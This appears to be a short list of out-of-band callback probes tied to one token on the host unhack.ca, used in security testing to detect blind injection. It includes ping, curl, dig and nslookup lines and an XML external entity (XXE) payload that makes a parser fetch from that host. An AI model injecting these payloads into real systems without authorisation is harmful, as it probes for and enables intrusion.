$ ping -c1 -p 00aae77b58283cc8d55486a1d768ac00 unhack.ca
$ curl http://unhack.ca/p/aae77b58283cc8d55486a1d768ac
$ dig aae77b58283cc8d55486a1d768ac @unhack.ca
$ dig aae77b58283cc8d55486a1d768ac.ns.unhack.ca
C:\> nslookup aae77b58283cc8d55486a1d768ac unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/aae77b58283cc8d55486a1d768ac">]> <foo>&xxe;</foo>